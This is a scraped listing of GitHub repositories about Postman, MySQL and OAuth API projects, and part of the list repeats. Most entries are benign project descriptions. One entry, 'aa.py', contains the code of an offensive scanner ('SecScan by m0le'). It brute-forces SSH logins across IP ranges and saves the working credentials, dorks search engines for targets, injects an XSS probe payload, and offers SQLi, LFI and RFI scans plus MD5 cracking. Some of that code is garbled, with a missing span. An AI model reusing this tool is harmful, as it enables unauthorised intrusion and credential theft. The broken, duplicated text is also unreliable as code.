geekyanurag/Web-Services api blueprint, asyncapi, client, creation, json schema, mysql, oauth, openid, sets, sql |
Rest api creation for 3 sets of api's using php and mysql and used postman as client. | 0 stars | 0 watchers | 0 forks |
Hossam-PHP/PHP-Restful-Api-OOP- api blueprint, asyncapi, auth, book, docs, file, folder, host, http, import, json schema, local, oauth, openid, search, server, sql, steps, urls |
Project Run steps 1- You have sql file import it . (hossamapi.sql) 2- Put project folder in xampp/htdocs or any local server you want . 3- Go to postman and run this api urls :- 1. READ BOOKS ( Read All ): (Get) http://localhost/api/book/read.php2. CREATE BOOK : (POST) http://localhost/api/book/create.php Data to insert : { "name" : "Amazing keivy 20.0", "isbn" : "4-7555-66777", "author" : "The best pillow for amazing readers.", "category_id" : 2, "publish_date" : "2018-06-01 00:35:07" }3. UPDATE BOOK : (Post) http://localhost/api/book/update.php Data to update : { "id" : "66", "name" : "Amazing keivy 20.0", "isbn" : "4-7555-66777", "author" : "The best pillow for amazing readers.", "category_id" : 2, "publish_date" : "2018-06-01 00:35:07" }4. DELETE BOOK : (Delete) http://localhost/api/book/delete.php Data to delete : { "id" : "66" } ############################## 5. READ ONE BOOK : (Get) http://localhost/api/book/read_one.php?id=60 ############################## 6. SEARCH BOOKS : (Get) http://localhost/api/book/search.php?s=Amazing ############################## 7. PAGINATE BOOKS : (Get) http://localhost/api/book/read_paging.php ############################## 8. READ CATEGORIES : (Get) http://localhost/api/category/read.php | 0 stars | 0 watchers | 0 forks |
iamwarning/message-api-with-nestjs api blueprint, asyncapi, connected, data, database, form, json schema, message, mysql, nest, nestjs, oauth, openid, sql |
Simple API that performs a message CRUD connected to a mysql database using NestJS | 0 stars | 0 watchers | 0 forks |
Jespert88/FinalJavaTask api blueprint, asyncapi, client, hibernate, java, json schema, mysql, oauth, openid, postgres, postgresql, spring, sql, task |
Final java task where i have to build a RESTful Api with Java + spring + hibernate + mysql/postgresql + client(HTML / Postman)) | 0 stars | 0 watchers | 0 forks |
jmaribau/DemoHtCm api blueprint, asyncapi, check, checked, collection, collections, environment, fixtures, json schema, oauth, openid, quality, sql, test, tests, tool, tools |
Simple Api Rest Crud with Docker, Symfony 4.3, Mysql 5.7, PhpUnit, Unit Integration Functional tests, Data fixtures, 95% Coverage, Authentication JWT, Events, EventsSubscribers, Loggin, Authorization Roles, Services, Managers, Composer, MakeFile Commands, PostMan collections & environment, checked with quality tools, SOLID, clean code, best practices. | 0 stars | 0 watchers | 0 forks |
Kichachi/docker-postman-tomee-mysql api blueprint, asyncapi, docker, json schema, mysql, oauth, openid, postman tests, sql, test, tests, tomee |
Docker with postman tests with tomee and mysql | 0 stars | 0 watchers | 0 forks |
komalng/TuringChallenges api blueprint, asyncapi, data, json schema, oauth, openid, related, sql, storing |
This project is related to NodeJs challenges in which I am using Mysql for storing data through postman. | 0 stars | 0 watchers | 0 forks |
kran/pm2ab api blueprint, asyncapi, blueprint, json schema, oauth, openid, print, sql |
postman to api blueprint | 0 stars | 0 watchers | 0 forks |
LockeReed/knex-lesson api blueprint, asyncapi, json schema, knex, learn, learning, lesson, oauth, openid, postgres, postgresql, sql |
learning postgresql, knex, postico, postman | 0 stars | 0 watchers | 0 forks |
mayankpatel1004/nodejs-express-mvc-mysql api blueprint, asyncapi, express, json schema, mysql, node, nodejs, oauth, openid, sql |
Nodejs with mysql, Express , MVC, Postman | 0 stars | 0 watchers | 0 forks |
meghnadsaha/REST-API-Web-Application api blueprint, application, asyncapi, client, data, database, json schema, mysql, oauth, openid, sql |
A simple CRUD application Framework - Jersey Jax-rs for creating RESTful APIs in Java Editor - Eclipse Database - mysql Rest API client - Postman(for making REST API calls) (6) Hibernate to interact with database. | 0 stars | 0 watchers | 0 forks |
neagkv/Mybatis-Spring-MySQL api blueprint, asyncapi, calling, data, database, json schema, mysql, oauth, openid, sql |
practice calling using mybatis to read from an api and populate a mysql database, with updates from postman | 0 stars | 0 watchers | 0 forks |
neomarmedina/prueba_meta api blueprint, asyncapi, auth, docs, form, format, github, gitlab, http, https, json schema, laravel, list, meta, model, oauth, openid, resource, resources, servicio, source, sql, validation, variable, variables |
Prueba de la empresa MetaData : Crear un proyecto público en git (gitlab, github...) y compartirnos la url. Crear un proyecto API/Rest en Laravel 6 con los sig requerimientos: - PHP 7.3. - Base de datos Mysql 5 utf8mb4_unicode_ci llamada "prueba_meta". Crear Servicio tipo POST que registre un modelo "Author" con el atributo "name" Crear Servicio tipo POST que registre un modelo "Book" con los atributos "publish_date", "title", "author_id" Crear un servicio tipo GET que retorne un listado de los "Book" y sus autores. Crear las migraciones correspondientes para ambos modelos. (https://laravel.com/docs/6.x/migrations) Los servicios deben devolver sus respuestas en formato JSON y tener validaciones para sus atributos usando "Validator" (https://laravel.com/docs/6.x/validation) e implementar "Eloquent: API Resources" (https://laravel.com/docs/6.x/eloquent-resources). Los servicios serán probados en Postman después de levantar el servidor (php artisan serve) y colocadas las variables de entorno en el archivo .env | 0 stars | 0 watchers | 0 forks |
philgookang/Postman.php api blueprint, asyncapi, json schema, oauth, openid, sql |
A Php based Mysql Prepare Statement Wrapper Class. | 0 stars | 0 watchers | 0 forks |
philgookang/Postman.py api blueprint, asyncapi, json schema, oauth, openid, sql |
A Python based Mysql Wrapper Class. | 0 stars | 0 watchers | 0 forks |
psjoshi20/todo api blueprint, asyncapi, express, json schema, node, nodejs, oauth, openid, rest, restapi, sql, todo |
todo app using -psql-seq-nodejs-express-postman-restapi 29dec2019 | 0 stars | 0 watchers | 0 forks |
rashidmajeed/dotnetcore-postgresql api blueprint, asyncapi, backend, consume, dotnet, endpoint, endpoints, json schema, oauth, openid, postgres, postgresql, sql, storage, test, tested, webapi |
c#.netcore 2.1 is for backend webapi and for storage postgresql is used. Web api is exposed as endpoints and are tested by postman. Frontend will be soon availabe to consume web api's | 0 stars | 0 watchers | 0 forks |
rohitchatla/swagger.io-openAPI api blueprint, asyncapi, auth, bcrypt, book, chat, codes, data, express, following, form, github, google, hapi, hashi, http, https, json schema, list, local, mongo, mongoose, mysql, node, oauth, oauth2, openid, private, projects, rest, restapi, route, routes, sample, sql, swagger, validation |
For more Nodejs,JavaScript projects :: goto https://github.com/thunderssilver to see our team projects listed as following:: 1)stud_form with nodeJS,mysql 2)swagger.io/openAPI 3)socket1 4)restapiauth: (nodeJS,expressJS with routes,private routes,auth(JWT),validations([email protected]),password hashing with bcryptjs,data/codes hiding with dotenv lib,MongoDb(mongoose connect) as DB) 5)restapi: (MongoDb as DB) 6)sample_postman 7)oauth2.0 with google,facebook 8)oauth2.0 with local strategy | 0 stars | 0 watchers | 0 forks |
rohitchatla/swagger.io-openAPI api blueprint, asyncapi, auth, bcrypt, book, chat, codes, data, express, following, form, github, google, hapi, hashi, http, https, json schema, list, local, mongo, mongoose, mysql, node, oauth, oauth2, openid, private, projects, rest, restapi, route, routes, sample, sql, swagger, validation |
For more Nodejs,JavaScript projects :: goto https://github.com/thunderssilver to see our team projects listed as following:: 1)stud_form with nodeJS,mysql 2)swagger.io/openAPI 3)socket1 4)restapiauth: (nodeJS,expressJS with routes,private routes,auth(JWT),validations([email protected]),password hashing with bcryptjs,data/codes hiding with dotenv lib,MongoDb(mongoose connect) as DB) 5)restapi: (MongoDb as DB) 6)sample_postman 7)oauth2.0 with google,facebook 8)oauth2.0 with local strategy | 0 stars | 0 watchers | 0 forks |
sandipfadadu/api-in-core-php-mysqli api blueprint, asyncapi, issue, json schema, mysql, oauth, openid, sql |
Hellow Guys, This Script is Useful who want to develop api in core php with mysqli. This Code is Working 100% so no chance for any issue or Error. to GET Response use POSTMAN Extension. Thank You... | 0 stars | 0 watchers | 0 forks |
shahidur1/SpringBootMysqlHibernateRestApi_PostmanAngularOK api blueprint, asyncapi, json schema, oauth, openid, sql |
SpringBootMysqlHibernateRestApi_PostmanAngular Test OK | 0 stars | 0 watchers | 0 forks |
sharejee-prepare-teach/access-oauth2-with-postman access, api blueprint, asyncapi, auth, json schema, oauth, oauth2, openid, prepare, sql |
0 stars | 0 watchers | 0 forks | |
Suman-eng/SpringOAuthWithPostmanAndMysql api blueprint, asyncapi, json schema, oauth, openid, sql |
OAuth Authentication In Spring Boot | 0 stars | 0 watchers | 0 forks |
vertical-sudhir/SBMysqlCrudDemo api blueprint, asyncapi, json schema, oauth, openid, sql |
Spring Boot CRUD using MySql Database, Postman | 0 stars | 0 watchers | 0 forks |
Victor10-m/mysql-nodejs-rest-api api blueprint, asyncapi, json schema, mysql, node, nodejs, oauth, openid, rest, sql, todo |
Este repositorio tiene conexion a BD en mysql usa metodos get, post, put, delete desde postman | 0 stars | 0 watchers | 0 forks |
wesjones15/learning-apis-sql api blueprint, asyncapi, json schema, learn, learning, oauth, openid, sql |
Python, APIs, SQL, Postman, Docker | 0 stars | 0 watchers | 0 forks |
xinsnake/oauth-cmd-helper api blueprint, asyncapi, auth, helper, json schema, oauth, openid, sql |
OAuth2 Command Line helper... Tired of using Browser + Postman... | 0 stars | 0 watchers | 0 forks |
udinparla/aa.py address, admin, api blueprint, asyncapi, automat, automatic, automatically, class, correct, crawler, creation, data, file, find, free, google, header, host, html, http, import, json schema, link, list, location, mail, oauth, openid, output, pages, print, python, random, reading, result, route, router, running, search, seek, send, sends, site, source, sql, task, test, user |
#!/usr/bin/env python import re import hashlib import Queue from random import choice import threading import time import urllib2 import sys import socket try: import paramiko PARAMIKO_IMPORTED = True except ImportError: PARAMIKO_IMPORTED = False USER_AGENT = ["Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3", "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)", "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)", "Mozilla/5.0 (Windows; U; Windows NT 5.1) AppleWebKit/535.38.6 (KHTML, like Gecko) Version/5.1 Safari/535.38.6", "Mozilla/5.0 (Macintosh; U; U; PPC Mac OS X 10_6_7 rv:6.0; en-US) AppleWebKit/532.23.3 (KHTML, like Gecko) Version/4.0.2 Safari/532.23.3" ] option = ' ' vuln = 0 invuln = 0 np = 0 found = [] class Router(threading.Thread): """Checks for routers running ssh with given User/Pass""" def __init__(self, queue, user, passw): if not PARAMIKO_IMPORTED: print 'You need paramiko.' print 'http://www.lag.net/paramiko/' sys.exit(1) threading.Thread.__init__(self) self.queue = queue self.user = user self.passw = passw def run(self): """Tries to connect to given Ip on port 22""" ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) while True: try: ip_add = self.queue.get(False) except Queue.Empty: break try: ssh.connect(ip_add, username = self.user, password = self.passw, timeout = 10) ssh.close() print "Working: %s:22 - %s:%s\n" % (ip_add, self.user, self.passw) write = open('Routers.txt', "a+") write.write('%s:22 %s:%s\n' % (ip_add, self.user, self.passw)) write.close() self.queue.task_done() except: print 'Not Working: %s:22 - %s:%s\n' % (ip_add, self.user, self.passw) self.queue.task_done() class Ip: """Handles the Ip range creation""" def __init__(self): self.ip_range = [] self.start_ip = raw_input('Start ip: ') self.end_ip = raw_input('End ip: ') self.user = raw_input('User: ') self.passw = raw_input('Password: ') self.iprange() def iprange(self): """Creates list of Ip's from Start_Ip to End_Ip""" queue = Queue.Queue() start = list(map(int, self.start_ip.split("."))) end = list(map(int, self.end_ip.split("."))) tmp = start self.ip_range.append(self.start_ip) while tmp != end: start[3] += 1 for i in (3, 2, 1): if tmp[i] == 256: tmp[i] = 0 tmp[i-1] += 1 self.ip_range.append(".".join(map(str, tmp))) for add in self.ip_range: queue.put(add) for i in range(10): thread = Router(queue, self.user, self.passw ) thread.setDaemon(True) thread.start() queue.join() class Crawl: """Searches for dorks and grabs results""" def __init__(self): if option == '4': self.shell = str(raw_input('Shell location: ')) self.dork = raw_input('Enter your dork: ') self.queue = Queue.Queue() self.pages = raw_input('How many pages(Max 20): ') self.qdork = urllib2.quote(self.dork) self.page = 1 self.crawler() def crawler(self): """Crawls Ask.com for sites and sends them to appropriate scan""" print '\nDorking...' for i in range(int(self.pages)): host = "http://uk.ask.com/web?q=%s&page=%s" % (str(self.qdork), self.page) req = urllib2.Request(host) req.add_header('User-Agent', choice(USER_AGENT)) response = urllib2.urlopen(req) source = response.read() start = 0 count = 1 end = len(source) numlinks = source.count('_t" href', start, end) while count alert('xssBYm0le');""" self.file = 'xss.txt' def run(self): """Checks Url for possible Xss""" while True: try: site = self.queue.get(False) except Queue.Empty: break if '=' in site: global vuln global invuln global np xsite = site.rsplit('=', 1)[0] if xsite[-1] != "=": xsite = xsite + "=" test = xsite + self.xchar try: conn = urllib2.Request(test) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() data = opener.open(conn).read() except: self.queue.task_done() else: if (re.findall("xssBYm0le", data, re.I)): self.xss(test) vuln += 1 else: print B+test + W+' > ' + str(vuln) + G+' Vulnerable Sites Found' + W print '>> ' + str(invuln) + G+' Sites Not Vulnerable' + W print '>> ' + str(np) + R+' Sites Without Parameters' + W if option == '1': print '>> Output Saved To sqli.txt\n' elif option == '2': print '>> Output Saved To lfi.txt' elif option == '3': print '>> Output Saved To xss.txt' elif option == '4': print '>> Output Saved To rfi.txt' W = "\033[0m"; R = "\033[31m"; G = "\033[32m"; O = "\033[33m"; B = "\033[34m"; def main(): """Outputs Menu and gets input""" quotes = [ '\[email protected]\n' ] print (O+''' ------------- -- SecScan -- --- v1.5 ---- ---- by ----- --- m0le ---- -------------''') print (G+''' -[1]- SQLi -[2]- LFI -[3]- XSS -[4]- RFI -[5]- Proxy -[6]- Admin Page Finder -[7]- Sub Domain Scan -[8]- Dictionary MD5 cracker -[9]- Online MD5 cracker -[10]- Check your IP address''') print (B+''' -[!]- If freeze while running or want to quit, just Ctrl C, it will automatically terminate the job. ''') print W global option option = raw_input('Enter Option: ') if option: if option == '1': Crawl() output() print choice(quotes) elif option == '2': Crawl() output() print choice(quotes) elif option == '3': Crawl() output() print choice(quotes) elif option == '4': Crawl() output() print choice(quotes) elif option == '5': Ip() print choice(quotes) elif option == '6': admin() aprint() print choice(quotes) elif option == '7': subd() print choice(quotes) elif option == '8': word() print choice(quotes) elif option == '9': OnlineCrack().crack() print choice(quotes) elif option == '10': Check().grab() print choice(quotes) else: print R+'\nInvalid Choice\n' + W time.sleep(0.9) main() else: print R+'\nYou Must Enter An Option (Check if your typo is corrected.)\n' + W time.sleep(0.9) main() if __name__ == '__main__': main() | 4 stars | 4 watchers | 0 forks |
XeroAPI/xero-postman-oauth2 api blueprint, asyncapi, auth, collection, json schema, oauth, oauth2, openid, postman collection, sql |
A postman collection for use with Xero's API and OAuth 2.0 | 0 stars | 0 watchers | 5 forks |
Mir00r/busticketing access, action, actor, admin, api blueprint, application, applications, asyncapi, auth, authentication, boot, browser, case, cases, compare, compose, consisting, container, default, define, design, development, devices, docker, engine, file, find, following, form, frontend, function, functional, host, import, inside, install, interface, json schema, library, link, local, material, mobile, mysql, oauth, openid, operate, popular, predefined, profile, prototype, render, reservation, responsive, result, schedule, search, security, series, server, sessions, sql, system, systems, template, templates, ticket, token, type, user, users, web app |
Bus Reservation System_ and tried to implement an Admin portal which can be operated over browsers and a series of REST APIs to interact with the system using mobile applications or frontend applications written for the browsers. The complete systems has two important actors : 1. Admin user 2. End user The _Admin user_ can access this application on browser (laptop or mobile/tablet, doesn't really matter as this is built using bootstrap, material design and is completely responsive) and can perform the following actions : 1. Signup 2. Login (Spring sessions) 3. Update their profile 4. Create an agency 5. Add buses to the agency 6. Add trips consisting of predefined stops and buses The _End user_ can use their mobile application (yet to be built, however the REST APIs are ready and could be used via Postman or Swagger) to perform the following actions : 1. Signup 2. Login (and get a JWT token) 3. List all available stops 4. Search a trip between any two stops 5. Filter search results with a date option 6. Book a ticket for a given trip schedule Admin interface and REST APIs both have their independent authentication mechanisms, the web application uses the cookie based authentication (provided by default by Spring security) and the REST API uses the JWT authentication for access. This application assumes the availability of 'MongoDB' installation on the localhost where the server will run or the use of docker-compose to boot up a mysqldb container and link the application with it within the realm of docker. Any changes that the admin users will do on the web portal will impact the search results of the end users, there will be certain use cases which you may find missing here, I hope you will appreciate that the overall idea was to present a way to create such an application completely inside the realm of Spring Boot and not to actually building a fully functional reservation system. The admin user interface is completely written in material design using Bootstrap v4 and is responsive to suite a variety of devices. The template engine used to render the admin views is Thymeleaf since the library is extremely extensible and its natural templating capability ensures templates can be prototyped without a back-end – which makes development very fast when compared with other popular template engines such as JSP. | 1 stars | 1 watchers | 2 forks |
vxhly/NME-server api blueprint, asyncapi, json schema, oauth, openid, server, sql |
基于 Node.js + Mysql + Express 的 API 服务端 | 2 stars | 2 watchers | 0 forks |
yeosz/dtool api blueprint, asyncapi, fake, json schema, mysql, oauth, openid, sql, tool |
数据生成器,数据库工具,数据库填充,伪数据,faker,mysql数据字典,数据库比对 | 0 stars | 0 watchers | 4 forks |
esm2017tarun/node.js-and-mysql-login-and-registration-using-crome-postman- api blueprint, asyncapi, description, json schema, login, mysql, node, oauth, openid, registration, script, sql |
No description available. | 1 stars | 1 watchers | 1 forks |
Ajesh777/LaravelApiVersioning api blueprint, asyncapi, json schema, oauth, openid, sql |
Laravel, API, Versioning, php, Composer, Postman, Node.js, artisan, sql, migrations, CRUD, Best Practices, Article API, Person API, Application Interface, Example, Training | 1 stars | 1 watchers | 1 forks |
martinberlin/postman-reporter api blueprint, asyncapi, document, documented, json schema, oauth, openid, pages, report, reporter, result, sql, test, tests |
Make self-documented HTML pages from your Postman tests. Import test results in a Mysql Database | 1 stars | 1 watchers | 1 forks |
mohamed-abdo/performance-load-test api blueprint, asyncapi, collection, collections, data, ecosystem, express, form, json schema, local, oauth, openid, parallel, performance, postman collection, postman collections, result, running, sql, store, system, test, tests, unit |
Performance parallel load test ecosystem based on running postman collections in parallel in addition to capture test performance counters, and unit tests results; Exporting all results to (local) data store (sql express). | 1 stars | 1 watchers | 0 forks |
ivangfr/springboot-testing-mysql api blueprint, application, applications, asyncapi, boot, data, database, goal, goals, json schema, mysql, notation, oauth, openid, service, spring, springboot, sql, test, testing, user, users, util, utilities |
The goals of this project are: 1) Create a simple Spring Boot REST API to manage users called user-service. The database used is MySQL; 2) Explore the utilities and annotations that Spring Boot provides when testing applications. 3) Testing with Postman and Newman | 1 stars | 1 watchers | 0 forks |
ming-zh/node.js-xmysql-postman api blueprint, asyncapi, json schema, mysql, node, oauth, openid, sql |
node.js+xmysql+postman实现接口自动化测试,并校验数据库 | 1 stars | 1 watchers | 0 forks |
pawanmethre/my-first-Flask-resful-application api blueprint, application, asyncapi, data, database, flask, flask restful, json schema, oauth, openid, python, rest, restful, sql, sqlite, tool |
My first python flask restful application using postman tool which is basically CURD application for items and price using sqlite3 database. | 1 stars | 1 watchers | 0 forks |
AlexNDRmac/postman_asserts api blueprint, assert, asyncapi, json, json schema, oauth, openid, postman tests, reusable, schema, script, scripts, sql, test, tests, usable, validation |
Tiny scripts for Postman Auto tests (reusable Assertions for postman tests and json schema validation) | 0 stars | 0 watchers | 1 forks |
liyinchigithub/Omysql api blueprint, asyncapi, github, json schema, mysql, oauth, openid, sql |
postman操作Mysql数据库 | 0 stars | 0 watchers | 1 forks |
ahmadarif/laravel-oauth2 api blueprint, asyncapi, auth, json schema, laravel, oauth, oauth2, openid, sql |
Laravel + Oauth2 + Grant Type Password Example | 0 stars | 0 watchers | 0 forks |
brankozecevic/php_oop_rest_api api blueprint, asyncapi, blog, client, data, database, environment, function, functional, import, json schema, oauth, openid, posts, principles, rest, server, sql, test, testing |
This is a REST API using PHP and OOP principles. There is also MySQL database that you can use to import on your server (myblog.sql). This REST API is based on CRUD functionality (blog posts and blog categories). For testing use Postman app environment as a REST client. | 0 stars | 0 watchers | 0 forks |
Mardiv-18/Rest-Api-TSF_NoobCoder api blueprint, asyncapi, boot, hibernate, java, json schema, mysql, oauth, openid, rest, rest api, spring, spring boot, sql |
Task of building rest api with java, spring boot -mvc-hibernate , jpa, mysql, postman | 0 stars | 0 watchers | 0 forks |
Rutuja177/RestApi-CRUD-Operations api blueprint, asyncapi, json schema, mysql, oauth, openid, sql, test, testing |
I have created 3 APIs( Heroes, Product, category) created in php and mysql. And testing it on POSTMAN | 0 stars | 0 watchers | 0 forks |
Shekhar-Shashank/Complaint-Lodging android, api blueprint, asyncapi, complaint, data, database, design, designed, dummy, flask, front end, generator, java, json schema, lang, language, oauth, openid, parse, python, rest, restful, server, sql, sqlite, studio, test, testing |
It is an android complaint lodging app in which the front end is designed in android studio using java language. The restful API that the app interacts with is made using python flask. The database used is sqlite. And the language used to parse the data from the server is Json. For testing the requests like get and post we used postman as a dummy request generator. | 0 stars | 0 watchers | 0 forks |
crazyhuiliu/postman-Jenkins-node.js-xmysql- api blueprint, asyncapi, description, json schema, mysql, node, oauth, openid, script, sql |
No description available. | 0 stars | 0 watchers | 0 forks |
Kichachi/docker-postman-wildfly-mysql api blueprint, asyncapi, description, docker, json schema, mysql, oauth, openid, script, sql, wildfly |
No description available. | 0 stars | 0 watchers | 0 forks |
mathieupoulenard-pv/API-salesforce-openidConnect.postman api blueprint, asyncapi, description, json schema, oauth, openid, salesforce, script, sql |
No description available. | 0 stars | 0 watchers | 0 forks |
psjoshi20/node-express-psql-seq-postman api blueprint, asyncapi, description, express, json schema, node, oauth, openid, script, sql |
No description available. | 0 stars | 0 watchers | 0 forks |
tarang777/Create-order-using-oauth-rest-api-in-android android, api blueprint, asyncapi, auth, json schema, oauth, openid, order, rest, rest api, sql, test, testing, tool |
Order not getting created with android app using rest api, but it works well with the postman ie rest api testing tool. | 0 stars | 0 watchers | 0 forks |
paulgrimaldo/demo-spring-hibernate api blueprint, asyncapi, hibernate, json schema, oauth, openid, spring, sql |
Ejemplo de SpringBoot, Hibernate, Mysql & Postman | 0 stars | 0 watchers | 0 forks |
aboelkassem/ChattingApp angular, api blueprint, asyncapi, json schema, messaging, oauth, openid, sql, system |
real world messaging system build using asp.net core 3.1 api & angular 9 & sqllite | 0 stars | 0 watchers | 0 forks |
alexkmartinez77/startnow-node200-sequelize-workshop api blueprint, asyncapi, data, database, json schema, node, oauth, openid, operation, operations, route, routes, sequelize, sql, workshop |
Using Postman and Express routes to run CRUD operations on Mysql database. | 0 stars | 0 watchers | 0 forks |
ash2042987/PromineoFinalProject api blueprint, asyncapi, boot, controller, json schema, mysql, oauth, openid, sql |
Respositiories,controllers, entities, mysql, Postman, Spring-boot | 0 stars | 0 watchers | 0 forks |
atljoseph/api.go.josephgill.io api blueprint, asyncapi, bucket, data, database, event, eventually, golang, image, images, json schema, lang, manages, mysql, oauth, openid, progress, site, sql, website |
This is a work in progress which will eventually become part of my website. It is a golang api which manages a mysql database and images in an s3 bucket. | 0 stars | 0 watchers | 0 forks |
avinash24p/Postman-SqlClient api blueprint, asyncapi, client, integrate, json schema, oauth, openid, single, sql |
Node App to integrate Postman like app and sql client in a single page app | 0 stars | 0 watchers | 0 forks |
bamaboyAsh/springbootrestapi api blueprint, application, asyncapi, boot, json schema, mysql, oauth, openid, rest, restapi, spring, springboot, sql |
Spring Boot application using Hibernate mysql Rest API and Postman | 0 stars | 0 watchers | 0 forks |
birish87/ppgService api blueprint, asyncapi, boot, integrate, iris, json schema, oauth, openid, postgres, postgresql, rest, rest service, service, spring, springboot, sql |
simple springboot, rest service whereby we can integrate postman with our postgresql db. | 0 stars | 0 watchers | 0 forks |
ChillSpike/sprint-boot-jpa-mysql api blueprint, asyncapi, boot, client, json schema, mysql, oauth, openid, print, sql |
Spring Boot JPA with mysql using POSTMAN client | 0 stars | 0 watchers | 0 forks |
cjkas/postman-widfly-mysql api blueprint, asyncapi, json schema, mysql, oauth, openid, sql |
0 stars | 0 watchers | 0 forks | |
ckailash/myob-php-oauth2 api blueprint, asyncapi, auth, collection, generate, generated, json schema, myob, oauth, oauth2, openid, postman collection, sql |
Myob PHP SDK for oAuth 2 generated from Myob API OpenAPI Spec 3.0 generated from the postman collection | 0 stars | 0 watchers | 0 forks |
crazyhuiliu/postman-Jenkins-xmysql-node.js api blueprint, asyncapi, json schema, mysql, node, oauth, openid, sql |
全接口自动化 | 0 stars | 0 watchers | 0 forks |
cristina-ferreira/node-express-employees api blueprint, asyncapi, employee, employees, express, json schema, mysql, node, oauth, openid, sql |
wcs-node-02 node-express sq, mysql, postman | 0 stars | 0 watchers | 0 forks |
cristina-ferreira/node-express-movies api blueprint, asyncapi, express, json schema, movie, movies, mysql, node, oauth, openid, sql |
wcs-node-02 node-express sq, mysql, postman | 0 stars | 0 watchers | 0 forks |
dinushchathurya/node-mysql-crud-app api blueprint, asyncapi, chat, crud, express, json schema, mysql, node, nodejs, oauth, openid, sql |
Create Restful API using nodejs, express and mysql | 0 stars | 0 watchers | 0 forks |
edwinchavez/Deber_poo_Efcv api blueprint, asyncapi, json schema, oauth, openid, postgres, postgresql, sql |
Deber de POO usando postgresql enviando datos desde postman | 0 stars | 0 watchers | 0 forks |
euhenriquemarques/WEBService-Java-springBoot api blueprint, asyncapi, boot, java, json schema, mysql, oauth, openid, spring, spring boot, sql, tool, tools |
WEBService Rest, com java, spring boot, mysql, devtools, jpaRespoitory, e Postman | 0 stars | 0 watchers | 0 forks |
fe3dback/web-debug-tools api blueprint, application, asyncapi, debug, form, format, information, json schema, logs, oauth, openid, route, routes, sql, symfony, tool, tools |
WIP! - GUI application, "Postman" + "symfony debug toolbar", allow to develop api with additional response information (sql, logs, routes, acl, etc..) | 0 stars | 0 watchers | 0 forks |
FP-GmbH/fcm-oauth-generator api blueprint, asyncapi, auth, bearer, client, generator, json schema, oauth, openid, sql, token, tool, tools |
FCM oAuth generator provides you with with a bearer token to sign on in postman or other client tools. | 0 stars | 0 watchers | 0 forks |
geekyanurag/Web-Services api blueprint, asyncapi, client, creation, json schema, mysql, oauth, openid, sets, sql |
Rest api creation for 3 sets of api's using php and mysql and used postman as client. | 0 stars | 0 watchers | 0 forks |
Hossam-PHP/PHP-Restful-Api-OOP- api blueprint, asyncapi, auth, book, docs, file, folder, host, http, import, json schema, local, oauth, openid, search, server, sql, steps, urls |
Project Run steps 1- You have sql file import it . (hossamapi.sql) 2- Put project folder in xampp/htdocs or any local server you want . 3- Go to postman and run this api urls :- 1. READ BOOKS ( Read All ): (Get) http://localhost/api/book/read.php2. CREATE BOOK : (POST) http://localhost/api/book/create.php Data to insert : { "name" : "Amazing keivy 20.0", "isbn" : "4-7555-66777", "author" : "The best pillow for amazing readers.", "category_id" : 2, "publish_date" : "2018-06-01 00:35:07" }3. UPDATE BOOK : (Post) http://localhost/api/book/update.php Data to update : { "id" : "66", "name" : "Amazing keivy 20.0", "isbn" : "4-7555-66777", "author" : "The best pillow for amazing readers.", "category_id" : 2, "publish_date" : "2018-06-01 00:35:07" }4. DELETE BOOK : (Delete) http://localhost/api/book/delete.php Data to delete : { "id" : "66" } ############################## 5. READ ONE BOOK : (Get) http://localhost/api/book/read_one.php?id=60 ############################## 6. SEARCH BOOKS : (Get) http://localhost/api/book/search.php?s=Amazing ############################## 7. PAGINATE BOOKS : (Get) http://localhost/api/book/read_paging.php ############################## 8. READ CATEGORIES : (Get) http://localhost/api/category/read.php | 0 stars | 0 watchers | 0 forks |
iamwarning/message-api-with-nestjs api blueprint, asyncapi, connected, data, database, form, json schema, message, mysql, nest, nestjs, oauth, openid, sql |
Simple API that performs a message CRUD connected to a mysql database using NestJS | 0 stars | 0 watchers | 0 forks |
Jespert88/FinalJavaTask api blueprint, asyncapi, client, hibernate, java, json schema, mysql, oauth, openid, postgres, postgresql, spring, sql, task |
Final java task where i have to build a RESTful Api with Java + spring + hibernate + mysql/postgresql + client(HTML / Postman)) | 0 stars | 0 watchers | 0 forks |
jmaribau/DemoHtCm api blueprint, asyncapi, check, checked, collection, collections, environment, fixtures, json schema, oauth, openid, quality, sql, test, tests, tool, tools |
Simple Api Rest Crud with Docker, Symfony 4.3, Mysql 5.7, PhpUnit, Unit Integration Functional tests, Data fixtures, 95% Coverage, Authentication JWT, Events, EventsSubscribers, Loggin, Authorization Roles, Services, Managers, Composer, MakeFile Commands, PostMan collections & environment, checked with quality tools, SOLID, clean code, best practices. | 0 stars | 0 watchers | 0 forks |
Kichachi/docker-postman-tomee-mysql api blueprint, asyncapi, docker, json schema, mysql, oauth, openid, postman tests, sql, test, tests, tomee |
Docker with postman tests with tomee and mysql | 0 stars | 0 watchers | 0 forks |
komalng/TuringChallenges api blueprint, asyncapi, data, json schema, oauth, openid, related, sql, storing |
This project is related to NodeJs challenges in which I am using Mysql for storing data through postman. | 0 stars | 0 watchers | 0 forks |
kran/pm2ab api blueprint, asyncapi, blueprint, json schema, oauth, openid, print, sql |
postman to api blueprint | 0 stars | 0 watchers | 0 forks |
LockeReed/knex-lesson api blueprint, asyncapi, json schema, knex, learn, learning, lesson, oauth, openid, postgres, postgresql, sql |
learning postgresql, knex, postico, postman | 0 stars | 0 watchers | 0 forks |
mayankpatel1004/nodejs-express-mvc-mysql api blueprint, asyncapi, express, json schema, mysql, node, nodejs, oauth, openid, sql |
Nodejs with mysql, Express , MVC, Postman | 0 stars | 0 watchers | 0 forks |
meghnadsaha/REST-API-Web-Application api blueprint, application, asyncapi, client, data, database, json schema, mysql, oauth, openid, sql |
A simple CRUD application Framework - Jersey Jax-rs for creating RESTful APIs in Java Editor - Eclipse Database - mysql Rest API client - Postman(for making REST API calls) (6) Hibernate to interact with database. | 0 stars | 0 watchers | 0 forks |
